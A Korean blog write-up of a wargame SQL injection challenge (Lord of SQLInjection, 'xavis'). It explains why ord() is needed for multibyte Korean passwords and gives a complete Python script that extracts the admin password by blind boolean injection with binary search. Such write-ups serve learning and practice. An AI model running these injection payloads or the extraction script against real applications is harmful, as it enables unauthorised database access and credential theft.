분석
보아하니 브루트포싱 문제군요
pw만 받는데
regex, like 막히고 끝?..
이번엔 8에서 안되니 여기서부터 브루트 포싱을 해봅시다.
12로 찾았습니다.
풀이
코드를 이렇게 동작시켰는데 먹히는 문자가 없습니다.
혹시 한글 비밀번호라고 한 것이 이건가 싶어서 일단
https://velog.io/@devp1023/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C%EB%9E%80
유니코드란?
전세계에서 사용하는 모든 문자들을 하나의 문자 셋으로 표현하는 문자표멀티바이트에서 발생하는 호환성들의 문제를 해결하기 위해 만들어진 표준코드아스키코드로 표현할 수 없는 문자들을
velog.io
한글을 나타내는 유니코드에 대해서 찾아봅니다.
유니코드는 17개의 평면(0x0 ~ 0x10)으로 구성되고
2byte로 문자를 표현합니다.
https://qhrhksgkazz.tistory.com/208
[MySQL]ASCII, ORD, CHAR 함수 정리(UTF-8)
모든 포스트 목록 ASCII, ORD, CHAR 함수 정리 ASCII : 문자열의 가장 왼쪽 문자의 아스키 코드 값을 반환하는 함수 ORD : 아스키 코드 값을 반환하는 함수 (문자열의 가장 왼쪽 문자가 멀티바이트 문자
qhrhksgkazz.tistory.com
또한 mysql 에서 ord와 ascii의 차이점으로
멀티바이트 문자에 대해서는 ord를 사용해야 합니다.
그렇게 선형탐색을 하자니 느려서 이진탐색으로 해봅시다.
패스워드는 우왕굳이고 뒤는 모두 null로 나옵니다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?"
cookie = {'PHPSESSID':'쿠킈'}
# for i in range(1, 30) :
# query = 'pw=\' or id=\'admin\' and length(pw)={}%23'.format(i)
# print(query)
# req = requests.get(url+query, cookies=cookie)
# if('Hello admin' in req.text) :
# print('find:',i)
# break
length = 12
pw = ''
for i in range(1, length+1) :
high = 0xffff+1
low = 0x0
while(low <= high) :
mid = (high+low)//2
#equal
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))={}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += chr(mid)
break
#smaller
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))>{}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
low = mid+1
continue
#bigger
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))<{}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
high = mid-1
continue
print('res:',pw)
코드를 작성하는데 있어서 최근에 백준 이진탐색을 풀어봐서 다행이었고..
low < high 라고 조건을 걸었다가
다시 low <= high라고 거니까 이제야 나오네요.
2byte로 unicode를 사용하므로 0xffff를 high, low를 0으로 잡았습니다.
아니 뭔 패스워드가.. 어쨌든 클리어